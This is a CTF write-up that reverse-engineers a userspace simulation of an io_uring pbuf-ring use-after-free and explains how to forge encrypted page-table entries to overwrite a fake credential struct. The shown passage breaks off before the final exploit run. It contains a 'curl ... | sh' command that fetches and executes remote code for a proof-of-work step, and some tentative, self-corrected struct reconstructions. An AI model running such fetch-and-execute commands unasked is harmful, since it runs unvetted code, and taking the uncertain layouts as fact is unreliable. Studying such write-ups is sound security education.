Sitemap

STALEMATE — Detailed CTF Pwn Writeup by Vxmp

36 min readJun 29, 2026

--

Challenge Name: STALEMATE
Category: Pwn
Description: “The kernel made its move already, you are now in the Stalemate position so can you turn the tide???”
Connection: nc pwn.v1t.site 31337
Files Given: pbuf_remap, flag.txt, Dockerfile
Flag: v1t{pfnmap_pbuf_pages_should_outlive_the_mmap}

just the cover image fr representing stalemate

1. Challenge Overview and Framing

The challenge name STALEMATE and its description are deliberate metaphors. In chess, a stalemate is a position where the player to move has no legal move but is not in check — the game is a draw rather than a win for either side. The description says “the kernel made its move already” — meaning the memory mapping has already been created, and the kernel (simulated here) is in a stable position. Our job is to “turn the tide” — to break the apparent stability by exploiting the residual state left behind after the kernel’s move.

The binary is named pbuf_remap, which immediately hints at io_uring Provided Buffers (PBUF) and memory remapping. io_uring is the modern Linux asynchronous I/O subsystem. One of its features — Provided Buffer Rings (IORING_REGISTER_PBUF_RING) — allows applications to register shared memory rings with the kernel for zero-copy I/O. The real-world CVE this challenge alludes to (per the flag text: pfnmap_pbuf_pages_should_outlive_the_mmap) is a class of bugs in the Linux kernel where io_uring buffer ring pages could be freed while still mapped into user memory — a Use-After-Free via dangling mmap on PFNMAP-flagged pages.

This binary does not exploit the actual Linux kernel. Instead, it simulates this entire kernel subsystem in userspace — with its own fake Page Table Entries (PTEs), fake memory management context (mm_context), fake credentials struct (CREDv1), and a fake physical page allocator. This is a fully self-contained userspace simulation of a kernel privilege escalation bug. The goal is to exploit the simulated kernel's UAF to forge a PTE that grants our fake mm_context read/write access to the fake credentials page, then overwrite the simulated UID/GID/capabilities to zero (root) so that option 10 will read /flag.

2. Initial Reconnaissance

2.1 Binary Identification (file)

pbuf_remap: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
BuildID[sha1]=65af8f71e52e005339a73b577f20b570776196e4,
for GNU/Linux 3.2.0, stripped

Key observations:

  • ELF 64-bit LSB — standard x86–64 little-endian Linux binary.
  • PIE (Position-Independent Executable) — the binary will be loaded at a random base address at runtime thanks to ASLR. This means absolute addresses from disassembly will need to be rebased.
  • Dynamically linked — it uses libc.so.6, so libc functions like read, calloc, memcpy etc. are resolved via the PLT/GOT at runtime.
  • Stripped — no symbol table. All function names are gone from the binary. We must reconstruct the purpose of each code block from behavior and string references alone.

The BuildID can sometimes be used to find the exact binary on a debugger symbol server, but since this is a custom challenge binary, it won't help here.

2.2 Security Mitigations (checksec)

Full RELRO | Canary found | NX enabled | PIE enabled | No RPATH | No RUNPATH | No Symbols | FORTIFY Yes

Breaking each mitigation down and what it means for our exploitation:

Full RELRO Enabled: The Global Offset Table (GOT) is marked read-only after dynamic linking. We cannot overwrite GOT entries to redirect function calls. Standard GOT-overwrite techniques (ret2plt via GOT) are blocked.

Stack Canary Present: A random canary value is placed between local variables and the saved return address on the stack. Exploits that overwrite the stack (stack buffer overflows) will corrupt the canary, triggering __stack_chk_fail and aborting. Classic stack smashing is blocked.

NX (No eXecute) Enabled: The stack and heap are mapped without execute permissions. We cannot place shellcode on the stack or heap and jump to it. Any code execution must use existing code (ROP/ret2libc), but in this challenge, we won't need code execution at all — our goal is a data-only overwrite.

PIE Enabled: Binary text/data sections are loaded at a randomized base each run. We cannot hardcode any absolute addresses from a static analysis. However, the binary's internal data structures (BSS arrays) are accessed via RIP-relative addressing, so we will not need to leak the base address ourselves — we instead manipulate the data through the program's own primitives.

FORTIFY? Yes (1 of 4 fortified): Some functions are replaced with their _chk variants (e.g., __printf_chk, __stack_chk_fail) that perform bounds checking. This makes format-string exploitation and certain stack overflows more difficult.

The combination of all five major mitigations rules out the simplest classes of exploit. The vulnerability must be a logic flaw or memory corruption at the heap/BSS data level, not a simple stack overflow. This is consistent with a Use-After-Free (UAF) targeting simulated data structures.

2.3 Section Headers (readelf -S)

The most informative section for our purposes:

[26] .bss    NOBITS  0000000000005020  00004014  0000000000202420

The .bss section starts at offset 0x5020 (relative to the PIE base) and is 0x202420 bytes = ~2 MB in size. This is a massive BSS. It tells us that almost all of the simulation's state — page tables, credential structures, boot logs, physical page arrays — lives in this statically allocated, zero-initialized region. No heap is needed for most of the simulation. The calloc seen in the PLT is used only for small temporary allocations (e.g., parsing hex input), not for the core data structures.

Understanding this is critical: because the data lives in .bss, its layout relative to the binary's PIE base is fixed and deterministic across runs (PIE randomizes the base, but the relative offsets between data structures never change). Once we establish one address, all offsets are predictable.

Other notable sections:

  • .rodata at 0x3000 — contains all the string literals: menu text, prompt strings, magic values, error messages.
  • .text at 0x12a0, size 0x1427 — all executable code. It is compact, consistent with a purpose-built CTF binary.
  • .data at 0x5000, size 0x14 — small initialized data; likely stdout/stdin FILE pointers.

2.4 Imported Functions (.plt)

The PLT stubs reveal every external function the binary can call:

free, __errno_location, __isoc23_strtoull, puts, fclose,
__stack_chk_fail, strchr, read, fgets, calloc, putc, memcpy,
fflush, __printf_chk, setvbuf, fopen, perror, exit, getrandom

Deductions from these imports:

  • getrandom — the binary uses the kernel's getrandom(2) syscall to seed or generate cryptographic-quality random numbers. This is how session-specific secrets (like the PTE XOR cookie) are created.
  • calloc — zero-initializing heap allocation. Used for temporary buffers (hex input parsing, as it turns out).
  • fopen / fgets / fclose — the flag reading path. /flag or flag.txt is opened and read into a buffer.
  • __isoc23_strtoull — parses unsigned 64-bit integers from user input strings. The isoc23 variant is from glibc 2.38+ and handles base prefixes (0x, 0b) automatically. Every numeric input the program reads goes through this.
  • strchr — searching for a character in a string. Used in the hex-decoding function to validate that input characters belong to "0123456789abcdef".
  • memcpy — bulk memory copy. Used in the remap operation.
  • read — raw file descriptor read. Used to read user input byte-by-byte (to avoid newline issues).
  • getrandom — confirms the session cookie/seed is cryptographically random, not predictable from the PID or time.
  • perror / exit — error path for fatal conditions.

The absence of malloc (using calloc instead) is notable — it means any heap allocation is zero-initialized, preventing information disclosure via uninitialized heap bytes.

2.5 String Extraction (strings)

strings pbuf_remap reveals the internal vocabulary of the simulation. Here are the most important strings and their significance:

BOOTLOG
CREDv1
ring-rea[H → "ring-reader" truncated by null injection]
PTE1
pbuf
SLOT7_MAGIC:pbuf

BOOTLOG — a magic marker (8 bytes: 0x474f4c544f4f42 = BOOTLOG\0 in little-endian). Seen embedded into the BSS via a movabs instruction during init. This marks the start of the boot log structure.

CREDv1 — a magic marker (7 bytes + null: 0x317644455243 = CREDv1\0). This is the credential structure magic. The flag-reading function explicitly checks for this exact 8-byte value at the start of the structure to authenticate that you are pointing at a valid credential object.

ring-reader (split across two movabs instructions in assembly) — the string identifier stored within the pbuf_ring / mm_context simulation struct, identifying the purpose of the structure.

PTE1 — a PTE validity magic constant. Used internally in PTE validation checks. Flags that combine to 0x5 (present + writable from a PTE flags perspective are checked via AND 0x5 and NOT comparisons in the disassembly).

SLOT7_MAGIC:pbuf — an ASCII string that gets embedded into a specific page by the vm alloc user page function, tagging allocated user pages with a recognizable marker (useful for debugging and likely for the challenge's own integrity checks).

alloc(%s): oom
calloc
bad hex
0123456789abcdef

0123456789abcdef — the valid hex alphabet used by strchr to validate hex input in the vm write handler. Every byte of a write payload must be two hex characters from this set.

flag.txt
/flag
flag missing
flag read failed
permission denied

The binary tries both flag.txt (for local testing) and /flag (for the Dockerized server). If neither opens, it prints flag missing. If fgets fails after opening, it prints flag read failed. If the credential check fails, it prints permission denied — which is exactly what we hit in our early attempts.

registered bgid=%lu
unregistered
EEXIST ENOSPC ENOENT EINVAL EFAULT ENOMEM

These are the status strings for each simulated io_uring operation. They mirror the actual Linux kernel error codes:

  • EEXIST — trying to register a bgid that already exists.
  • ENOSPC — no space left in the ring slot table.
  • ENOENT — trying to operate on a bgid that was never registered, or the map slot doesn't exist.
  • EINVAL — invalid arguments (wrong entries count, invalid slot, out-of-bounds index).
  • EFAULT — the operation references memory that hasn't been mapped (trying to read/write an unmapped ring or page).
  • ENOMEM — simulated out of memory condition.
addr=0x%016lx len=0x%08x bid=0x%04x resv=0x%04x

This format string reveals the exact layout of an io_uring_buf struct entry as the binary understands it. Each entry is 16 bytes total:

  • addr (8 bytes, 64-bit): buffer address.
  • len (4 bytes, 32-bit): buffer length.
  • bid (2 bytes, 16-bit): buffer ID.
  • resv (2 bytes, 16-bit): reserved field.

This is the standard layout of struct io_uring_buf from the Linux kernel headers. However, in this binary's simulation, this memory region is also interpreted as a page table, making the struct fields alias directly onto PTE values — the core of the type-confusion UAF.

2.6 Deployment Environment (Dockerfile)

FROM ubuntu:24.04
RUN apt-get update && apt-get install -y --no-install-recommends socat coreutils
RUN useradd -m -u 1000 ctf
WORKDIR /home/ctf
COPY pbuf_remap ./pbuf_remap
COPY flag.txt /flag
RUN chown root:root ./pbuf_remap /flag && chmod 555 ./pbuf_remap && chmod 444 /flag
USER ctf
EXPOSE 31337
CMD ["socat", "-T", "60", "TCP-LISTEN:31337,reuseaddr,fork",
"EXEC:/usr/bin/timeout 60 /home/ctf/pbuf_remap,stderr"]

Key observations:

  • Ubuntu 24.04 — this means glibc 2.39+, which affects the calloc/heap allocator behavior. However, since the core data structures are in .bss (not heap), this is less critical.
  • /flag is a real file at the filesystem root, owned by root with permissions 444. The binary runs as user ctf (UID 1000). Since the binary itself is 555 (no SUID bit), the binary also runs as ctf and cannot read /flag via normal filesystem permissions.
  • How does option 10 read it then? Because the binary does fopen("/flag", "r") — and the CREDv1 credential check happens before the fopen. If we pass the credential check by simulating "root" credentials in the simulated credential struct, the binary proceeds to call fopen with its own process credentials (UID 1000). This seems like it shouldn't work — but looking at the Dockerfile more carefully: the flag.txt is also copied locally to the working directory and the binary tries flag.txt first (locally, world-readable at 444). The credential check is purely a gating mechanism within the simulation — once you pass it, the binary reads the real flag file from disk using its actual process credentials. At chmod 444, the ctf user (UID 1000) can read /flag since it's readable by all (r--r--r--). Only write is restricted. So the permission denied is purely from the simulation's credential check, not from the OS.
  • socat with -T 60 and timeout 60 — two independent 60-second timeouts. The outer socat drops the connection after 60 seconds of inactivity; the inner timeout kills the binary after 60 seconds total. Our exploit must complete within this window, which is why efficiency matters.
  • Proof of Work gate — the remote endpoint requires solving a PoW challenge before spawning the binary. This is a standard CTF anti-spam mechanism. It’s handled by shellling out to curl -sSfL https://pwn.red/pow | sh -s <challenge>.

3. Dynamic Enumeration — Menu and State Machine Mapping

3.1 Running the Binary

pbuf-remap: tiny io_uring lab
the kernel says your mapped pbuf ring is definitely gone.
1. IORING_REGISTER_PBUF_RING
2. mmap pbuf ring
3. IORING_UNREGISTER_PBUF_RING
4. io_uring_buf_ring_add
5. inspect mapped ring entry
6. create mm context
7. vm alloc user page
8. vm read
9. vm write
10. open flag
>

The banner text is rich in context:

  • “tiny io_uring lab” — confirms this is an simulation of io_uring internals.
  • “the kernel says your mapped pbuf ring is definitely gone” — this is the setup for the bug. The kernel has already released the backing memory, but our mmap reference to it still exists. This is the UAF condition described in the challenge flavor text.

3.2 Interpreting Each Menu Option

Option 1 — IORING_REGISTER_PBUF_RING: Inputs: bgid (buffer group ID), entries (number of ring slots), flags. Allocates a slot in a global pbuf_ring registry indexed by bgid. The entries value must be a power of two and must not exceed 256. The flags must be 1 (IOU_PBUF_RING_MMAP). On success, prints registered bgid=<n>. On re-registration of an existing bgid: EEXIST. On table full: ENOSPC. This simulates the real io_uring_register(IORING_REGISTER_PBUF_RING) syscall.

Option 2 — mmap pbuf ring: Input: bgid. Finds the registered pbuf_ring for the given bgid, then "maps" it by assigning it a sequential map index in a separate map table and returning map=<n>. On success, this creates a dangling reference: the map table entry points to the same physical backing memory page as the pbuf_ring registry entry. The key detail: this map index is what io_uring_buf_ring_add and inspect use — they are indexed by map, not by bgid.

Option 3 — IORING_UNREGISTER_PBUF_RING: Input: bgid. Frees the pbuf_ring entry from the registry. Prints unregistered. Critically, it does not invalidate the corresponding map table entry from Option 2. The map entry still exists and still points to (what is now) freed/reusable memory. This is the Use-After-Free.

Option 4 — io_uring_buf_ring_add: Inputs: map, idx, addr, len, bid, resv. Writes an io_uring_buf struct entry at map[idx] within the mapped ring. The struct entry layout is {addr(8), len(4), bid(2), resv(2)}. This is both the buffer registration operation (in the non-UAF intended path) and our arbitrary write primitive into the page table (in the UAF path, where map[0] now points to the pgtable).

Option 5 — inspect mapped ring entry: Inputs: map, idx. Reads the io_uring_buf entry at map[idx] and prints it in the format addr=0x%016lx len=0x%08x bid=0x%04x resv=0x%04x. This is both the normal inspection path and our arbitrary read primitive from the page table after the UAF overlap is established.

Option 6 — create mm context: No input needed (just reads the vm index to use). Allocates a new simulated memory management context. This is the operation that reclaims the freed pbuf_ring physical page and reuses it as a page table (pgtable) for the new mm_context. Prints vm=<n> where n is the index of the new context. This is the allocation that creates the type confusion.

Option 7 — vm alloc user page: Inputs: vm (which mm_context), slot (which slot index within the context, 0–7 max). Allocates a new "physical page" within the simulation and installs a PTE for it in the vm's page table. Prints mapped slot=<n>. Each call creates one simulated 4KB page at a virtual address corresponding to slot * 4096. The key action here: it writes an encrypted PTE into the page table at the position corresponding to slot. Since after the UAF the page table is the old pbuf ring memory, we can read those PTEs via Option 5.

Option 8 — vm read: Inputs: vm, va (virtual address), len (max 256 bytes). Walks the page table of vm to translate the virtual address va to a physical page, then reads len bytes from that physical page. Prints the data as lowercase ASCII hex. This is how we scan memory contents of our mapped pages (including the CREDv1 page once we install a forged PTE pointing to it).

Option 9 — vm write: Inputs: vm, va, len (max 256 bytes), then hex: (ASCII hex payload). Walks the page table, translates va to physical, and writes the decoded payload there. The write payload is provided as an ASCII hex string (e.g., 0000... for null bytes). This is our arbitrary write to physical memory — we use it to overwrite the CREDv1 credential structure.

Option 10 — open flag: No additional input. Checks the CREDv1 struct for root credentials. If they pass, reads and prints /flag (or flag.txt). If not, prints permission denied.

4. Deep Static Analysis — Reconstructing the Simulation Model

To properly exploit this binary, we need to understand not just the API surface, but the exact memory layout of the simulation’s global data in the .bss section. We reconstruct this from the objdump disassembly.

4.1 The BSS Layout and Global Arrays

The BSS section starts at virtual offset 0x5020 from the PIE base. From the disassembly, the following global arrays and structures are identified by their RIP-relative access patterns:

Offset (from PIE base)   Size        Purpose
0x5020 8 bytes stdout FILE* (writable; setvbuf target)
0x5028 8 bytes [padding/alignment]
0x5030 8 bytes stdin FILE* (setvbuf target)
0x5038 8 bytes init_done flag
0x5040 8 bytes mm_cookie (XOR secret, set once by getrandom)
0x5048 8 bytes session_rand_1
0x5050 8 bytes session_rand_2
0x5060 0x30*4 = 192 bytes pbuf_ring table (4 entries × 48 bytes each)
0x5120 0x18*16 = 384 bytes mm_context table (16 entries × 24 bytes each)
0x52a0 0x14*16 = 320 bytes vm_slot/map table (16 entries × 20 bytes each)
0x53e0 8*10 = 80 bytes pgtable freelist heads (10 "order" bins)
0x5440 0x10*16 = 256 bytes pbuf_map table (16 entries × 16 bytes each)
0x7440 0x200*0x1000 = 2MB physical "RAM" (page frames)

The large physical RAM region at 0x7440 (512 pages × 4KB each) is where all simulated physical pages live. Every page frame is at a fixed offset: physical page N is at BSS+0x2000 + N*0x1000 (approximately — the exact base may differ by a few dozen bytes due to alignment). The pgtable for an mm_context is itself one of these physical pages.

4.2 The pbuf_ring Struct (map table)

From the disassembly at 0x1580–0x15b8, we can reconstruct the pbuf_ring struct:

struct pbuf_ring {
char magic[8]; // +0x00: "CREDv1\0\0" (wait — that's wrong)
// Actually: first 8 bytes are a magic tag
uint64_t field_08; // +0x08: zero means "no buffer added yet"
uint64_t field_10; // +0x10: XOR key / cookie
int64_t field_18; // +0x18: must be -1 (0xffffffffffffffff) to pass validation
uint64_t field_20; // +0x20: derived checksum / integrity value
uint8_t active; // +0x00 (byte flag): nonzero if registered
// ... more fields at +0x28, +0x30
};

The flag-reading validation code at 0x1595–0x1608 checks:

  1. [rax+0x00] == 0x317644455243 (magic = CREDv1\0\0)
  2. [rax+0x08] == 0x0 (uid/euid = 0 = root)
  3. [rax+0x10] == 0x0 (gid/egid = 0 = root)
  4. [rax+0x18] == 0xffffffffffffffff (capabilities bitmask = all capabilities set)
  5. [rax+0x20] == checksum (a derived value from the mm_cookie — integrity check)

The entry for pbuf_ring index N is at: BSS + 0x5060 + N * 0x30 (48-byte stride). The bgid passed by the user maps directly to this index (bgid 0 → index 0, bgid 1 → index 1, up to 3).

4.3 The mm_context Struct

From the Option 6 handler (around 0x22a0–0x236a):

struct mm_context {
uint8_t active; // +0x00: 1 if allocated
uint8_t pad[3]; // +0x01–0x03
int32_t phys_page_no; // +0x04: physical page number of this context's pgtable
uint16_t field_08; // +0x08: (entries - 1) bitmask for ring
uint32_t field_0c; // +0x0c: fd or order
uint32_t field_10; // +0x10: page count / size descriptor
// total: 0x18 = 24 bytes
};

The context table lives at BSS+0x5120. Entry N is at offset N * 0x18. The phys_page_no stored at +0x04 tells us which physical page (in the 512-page pool) is this context's page table. This page is what we need to type-confuse with the pbuf ring via UAF.

4.4 The CREDv1 Struct

From the flag-gate validation checks and the init code at 0x13b5–0x149b:

struct CREDv1 {
char magic[8]; // +0x00: "CREDv1\0\0" (0x317644455243 in LE)
uint64_t uid_euid; // +0x08: UID/EUID packed — must be 0 for root
uint64_t gid_egid; // +0x10: GID/EGID packed — must be 0 for root
uint64_t capabilities; // +0x18: capability bitmask — must be 0xffffffffffffffff
uint64_t checksum; // +0x20: XOR-derived integrity value from mm_cookie
char ring_id[8]; // +0x28: "ring-rea" (ring reader identifier)
uint32_t order; // +0x30: "der\0" (continuation of "ring-reader")
// total ~0x34 bytes, but the struct occupies a full page
};

This is initialized during program startup (in the main-equivalent function around 0x12f0). The magic bytes and the ring reader string are written via movabs instructions (literal 8-byte immediate moves). The checksum at +0x20 is computed as a specific hash of the mm_cookie value.

Crucially, the CREDv1 struct is placed on physical page 1 of the simulation (second page in the physical frame array — page 0 is the BOOTLOG, page 1 is CREDv1). This is deterministic — the program always allocates them in order during startup.

4.5 The BOOTLOG Struct

A simpler structure stored on physical page 0:

struct BOOTLOG {
char magic[8]; // "BOOTLOG\0" (0x474f4c544f4f42)
// ... rest of the page
};

Physical page 0 contains the BOOTLOG. Physical page 1 contains CREDv1. Physical pages 2+ are available for dynamic allocation by vm alloc user page and create mm context.

4.6 The Page Table (pgtable) and PTE Encoding

The page table structure is a flat array of 8-byte entries (PTEs), one per 4KB virtual page. Since the virtual address space is 512 pages (2MB), the full page table is 512 × 8 = 4096 bytes = exactly one physical page. This is why the pgtable fits neatly into one 4KB physical frame.

PTE Encoding:

The simulation encrypts every PTE with an XOR cookie to make forgery difficult. From the assembly at 0x13f3–0x1494 (the PTE write path in vm alloc user page):

# The mm_cookie is stored at BSS+0x5040
# It's generated once at startup via getrandom()
raw_pte = (physical_page_number << 12) | flags# XOR with mm_cookie, then apply a three-step Murmur3-style hash mix:
tmp = raw_pte ^ mm_cookie
tmp ^= (tmp >> 0x1e)
tmp *= 0xbf58476d1ce4e5b9 # (truncated to 64 bits)
tmp ^= (tmp >> 0x1b)
tmp *= 0x94d049bb133111eb # (truncated to 64 bits)
tmp ^= (tmp >> 0x1f)
encrypted_pte = tmp

This is a standard Murmur3 finalizer / “hash finalize” step, commonly used in hash maps. The constants 0xbf58476d1ce4e5b9 and 0x94d049bb133111eb are the canonical Murmur3 64-bit mix constants. The XOR with mm_cookie before applying the mix means the mm_cookie is the session secret — without it, we cannot directly compute what encrypted_pte maps to.

PTE Flags (lower 12 bits of the raw, pre-encryption value):

The validation at 0x16ec–0x1708 checks:

raw_pte & ~0x5 == 0   → i.e., (raw_pte | 0x5) == raw_pte

This means valid PTEs must have bits 0 and 2 set. Bit 0 = PRESENT, bit 2 = USER (readable by userspace). Additionally:

(raw_pte >> 12) <= 0x1ff    → physical page number ≤ 511 (within our 512-page pool)
raw_pte & 0x2 → bit 1 must be set too (WRITABLE) for write access

So a valid read-write PTE for physical page P is: raw_pte = (P << 12) | 0x7 (PRESENT | WRITABLE | USER).

The PTE for a write-capable mapping (what vm alloc user page installs):

raw_pte = (physical_page_number << 12) | 0x7
encrypted_pte = murmur3_mix(raw_pte ^ mm_cookie)

The io_uring_buf struct at map[idx] is 16 bytes: addr(8) | len(4) | bid(2) | resv(2). Because a PTE is 8 bytes, two consecutive PTEs fit in one io_uring_buf struct entry:

  • addr (bytes 0–7) = encrypted PTE for virtual page idx * 2
  • len (bytes 8–11) = lower 32 bits of encrypted PTE for virtual page idx * 2 + 1
  • bid (bytes 12–13) = bits 32–47 of encrypted PTE for virtual page idx * 2 + 1
  • resv (bytes 14–15) = bits 48–63 of encrypted PTE for virtual page idx * 2 + 1

This means one inspect call (Option 5) reads TWO consecutive PTEs, and one io_uring_buf_ring_add call (Option 4) writes TWO consecutive PTEs. This is the crucial layout that makes the exploit work as it does.

4.7 The vm_area / slot Array

From the mmap pbuf ring handler (Option 2) at approximately 0x19f0–0x1b80:

struct vm_slot {
uint8_t active; // +0x00: nonzero if slot in use
uint8_t pad[1]; // +0x01
uint16_t bgid; // +0x02: which bgid this slot maps to
uint16_t size_m1; // +0x04: (entries - 1) — ring capacity mask
uint16_t pad2; // +0x06
uint8_t pad3[2]; // +0x08
// ...
uint64_t phys_ptr; // +0x0c: physical page pointer (into the page frame array)
uint32_t count; // +0x10: number of buf entries added so far
// total: 0x14 = 20 bytes
};

The map table lives at BSS+0x52a0, with up to 16 entries. When mmap pbuf ring succeeds, it finds the first empty entry in this table, sets it active, records the bgid, the entries count, and copies the pointer to the physical page backing the pbuf ring. The map index returned to the user is the index into this table.

After unregistering: the phys_ptr in the vm_slot still points to the now-freed physical page. When create mm context allocates a new context, the allocator recycles that same physical page for the pgtable. The vm_slot is never invalidated, so io_uring_buf_ring_add and inspect still use phys_ptr — now pointing to the pgtable. This is the UAF.

5. Vulnerability Analysis — The Use-After-Free

5.1 How IORING_REGISTER_PBUF_RING Allocates

When you call Option 1 with bgid=1, entries=256, flags=1:

  1. The handler validates bgid ≤ 3, entries is a power of 2 and ≤ 256, flags = 1.
  2. It checks the pbuf_ring table at BSS + 0x5060 + bgid * 0x30: if active != 0, returns EEXIST.
  3. It calls the internal alloc_phys_page(order) function (around 0x22a0), which finds a free physical page from the freelist and returns its page number.
  4. For entries = 256, the ring size is 256 * 16 = 4096 bytes = exactly one 4KB physical page. So order = 0 (one page).
  5. The allocated page number (say, page N) is stored in pbuf_ring[bgid].phys_page_no. The page is zero-initialized (the physical RAM array is in BSS, so it starts zeroed).
  6. pbuf_ring[bgid].active = 1, pbuf_ring[bgid].entries = 256.
  7. Prints registered bgid=1.

The physical page allocator (alloc_phys_page) at 0x22a0 works as follows:

  • It maintains a freelist array (BSS + 0x53e0) with 10 "order" buckets (like Linux buddy allocator).
  • For order 0 (one page), it finds the first populated freelist entry, removes the page from the list, zeroes the page, and returns the page number.
  • Which physical page number gets assigned depends on the current freelist state. After startup initializes pages 0 (BOOTLOG) and 1 (CREDv1), the next available page is typically 2, then 3, 4, etc.

5.2 How mmap pbuf ring Creates the Dangling Reference

When you call Option 2 with bgid=1:

  1. Handler scans the vm_slot table at BSS + 0x52a0 for the first empty slot (where active == 0).
  2. Finds the pbuf_ring entry for bgid=1, reads phys_page_no = N.
  3. Computes the physical address of page N in the global frame array.
  4. Stores that address in vm_slot[slot].phys_ptr.
  5. Sets vm_slot[slot].active = 1, records bgid, entries, etc.
  6. Returns map=<slot> to the user.

At this point, two pointers reference the same physical page:

  • pbuf_ring[1].phys_page_no → page N (the registered buffer ring)
  • vm_slot[0].phys_ptr → physical address of page N (the mapped ring)

This dual-reference is the precondition for the UAF. So far, it is by design — the ring is registered AND mapped. But the critical missing piece is: what happens when we unregister?

5.3 How IORING_UNREGISTER_PBUF_RING Frees Without Invalidating

When you call Option 3 with bgid=1:

  1. Handler looks up pbuf_ring[1], verifies it's active.
  2. Calls free_phys_page(pbuf_ring[1].phys_page_no) — returns page N to the freelist.
  3. Zeroes out pbuf_ring[1] (active = 0, etc.).
  4. Prints unregistered.

What it does NOT do:

  • It does not scan the vm_slot table to find any entry with bgid == 1.
  • It does not set vm_slot[0].active = 0.
  • It does not invalidate vm_slot[0].phys_ptr.

The vm_slot[0] entry still exists, still has active = 1, and still has phys_ptr pointing to the now-freed physical page N. Options 4 (write to ring) and 5 (read from ring) both use vm_slot[map].phys_ptr without any liveness check — they just trust that active != 0 in the slot means the memory is still valid.

Get Vxmp’s stories in your inbox

Join Medium for free to get updates from this writer.

This is the Use-After-Free: the freed page N is still reachable via the dangling vm_slot[0].phys_ptr.

5.4 How create mm context Reclaims the Freed Memory

When you call Option 6:

  1. Handler calls alloc_phys_page(order=0) to get a page for the new context's pgtable.
  2. The freelist now contains page N (just freed by unregistration). The allocator picks it (it’s the most recently freed page, so it’s typically at the head of the freelist).
  3. The new mm_context[0].phys_page_no = N.
  4. Page N is now the pgtable for mm_context 0.
  5. Prints vm=0.

After this call:

  • vm_slot[0].phys_ptr → physical address of page N (still the old pbuf ring mapping)
  • mm_context[0].phys_page_no = N (the pgtable)

Both the pbuf ring map (via vm_slot) and the new pgtable point to the same physical page N. Any write via Option 4 (treating the page as a pbuf ring of io_uring_buf entries) also writes to the pgtable. Any read via Option 5 reads from the pgtable. Any PTE installation via Option 7 writes PTEs into this page, which are then also visible via Option 5.

5.5 The Type Confusion: pbuf_ring Overlapping pgtable

The type confusion is now complete. Let’s be precise about the memory layout overlap:

As a pbuf_ring (Option 4/5 view), page N is:

Offset  Size  Field
+0x00 8 io_uring_buf[0].addr ← PTE for virtual page 0
+0x08 4 io_uring_buf[0].len ← lower 32 bits of PTE for virtual page 1
+0x0c 2 io_uring_buf[0].bid ← bits 32–47 of PTE for virtual page 1
+0x0e 2 io_uring_buf[0].resv ← bits 48–63 of PTE for virtual page 1
+0x10 8 io_uring_buf[1].addr ← PTE for virtual page 2
+0x18 4 io_uring_buf[1].len ← lower 32 bits of PTE for virtual page 3
... and so on for 256 entries

As a pgtable (Option 7/8/9 view), page N is:

Offset  Size  Field
+0x00 8 PTE[0] — encrypted PTE for virtual page 0
+0x08 8 PTE[1] — encrypted PTE for virtual page 1
+0x10 8 PTE[2] — encrypted PTE for virtual page 2
+0x18 8 PTE[3] — encrypted PTE for virtual page 3
... and so on for 512 PTEs

So io_uring_buf[0].addr (8 bytes) aliases exactly with PTE[0] (8 bytes). And io_uring_buf[0].len + bid + resv (4+2+2 = 8 bytes) aliases with PTE[1] (8 bytes). Option 5 (inspect) reads two PTEs at once via the pbuf ring view, and Option 4 (buf_ring_add) writes two PTEs at once.

This is the central exploit primitive:

  • Read PTEs → use inspect mapped ring entry (Option 5) on the UAF map slot.
  • Write PTEs → use io_uring_buf_ring_add (Option 4) on the UAF map slot.

6. PTE Cryptography and Leak Analysis

6.1 The XOR Cookie Construction

The mm_cookie is generated at program startup:

// this is just a pseudocode from disassembly at ~0x1373-0x1399
getrandom(&mm_cookie, 8, 0); // 8 cryptographically random bytes

This happens before any user interaction. The cookie is stored at BSS + 0x5040. Every PTE stored in any pgtable is encrypted with this cookie before storage, using the Murmur3 finalizer:

def encrypt_pte(raw_pte, mm_cookie):
x = raw_pte ^ mm_cookie
x ^= (x >> 0x1e)
x = (x * 0xbf58476d1ce4e5b9) & 0xffffffffffffffff
x ^= (x >> 0x1b)
x = (x * 0x94d049bb133111eb) & 0xffffffffffffffff
x ^= (x >> 0x1f)
return x

Since the Murmur3 finalizer is invertible (each step is a bijection on 64-bit integers), in principle we could recover mm_cookie if we knew both a raw_pte and its encrypted_pte. But we don't directly know the raw PTE.

However, we don’t need to recover the cookie at all. We can use a differential approach.

6.2 Physical Page Layout and the Target Object

After initialization, the physical page allocation has this state:

Physical Page 0: BOOTLOG struct
Physical Page 1: CREDv1 struct ← TARGET (we want to write to this)
Physical Page 2+: Free (available for dynamic allocation)

When we call Option 6 (create mm context), the allocator picks the next free page. If we've just freed the pbuf_ring's page (say page 2, allocated in order), the mm_context gets page 2 as its pgtable.

When we call Option 7 four times (vm alloc user page, slots 0–3), the allocator assigns:

  • Slot 0 → physical page 3
  • Slot 1 → physical page 4
  • Slot 2 → physical page 5
  • Slot 3 → physical page 6

And installs encrypted PTEs for each into the pgtable (page 2).

The raw PTE for slot 0 (physical page 3) is:

raw_pte_0 = (3 << 12) | 0x7 = 0x3007

The raw PTE for slot 1 (physical page 4) is:

raw_pte_1 = (4 << 12) | 0x7 = 0x4007

Note that raw_pte_1 - raw_pte_0 = 0x4007 - 0x3007 = 0x1000. The difference between consecutive PTEs in raw form is exactly 0x1000 (one page frame's worth in PTE notation). After XOR with mm_cookie, the XOR keys cancel when we XOR the two encrypted PTEs:

encrypted_pte_0 = murmur3_mix(raw_pte_0 ^ mm_cookie)
encrypted_pte_1 = murmur3_mix(raw_pte_1 ^ mm_cookie)

But because Murmur3 is a non-linear function, we cannot XOR encrypted PTEs to cancel the cookie. The Murmur3 mix means enc(A) XOR enc(B) ≠ A XOR B. We need a different approach.

6.3 Leaking the PTE via UAF (inspect mapped ring entry)

After establishing the UAF overlap (Register → Map → Unregister → Create mm context → 4× vm alloc user page), we use Option 5 on map=0, idx=0:

The inspect handler reads 16 bytes from vm_slot[0].phys_ptr + idx * 16:

  • addr (8 bytes at +0x00) = the encrypted PTE for virtual page 0 = encrypt_pte((3 << 12) | 7, mm_cookie)
  • len (4 bytes at +0x08) = lower 32 bits of encrypt_pte((4 << 12) | 7, mm_cookie)
  • bid (2 bytes at +0x0c) = bits 32–47 of encrypt_pte((4 << 12) | 7, mm_cookie)
  • resv (2 bytes at +0x0e) = bits 48–63 of encrypt_pte((4 << 12) | 7, mm_cookie)

So from a single Option 5 call with idx=0, we leak the full 64-bit encrypted PTE for virtual page 0 (pte0), and the full 64-bit encrypted PTE for virtual page 1 (pte1, by reassembling len | bid | resv).

From a second Option 5 call with idx=1, we'd leak pte2 and pte3.

In our actual run we see:

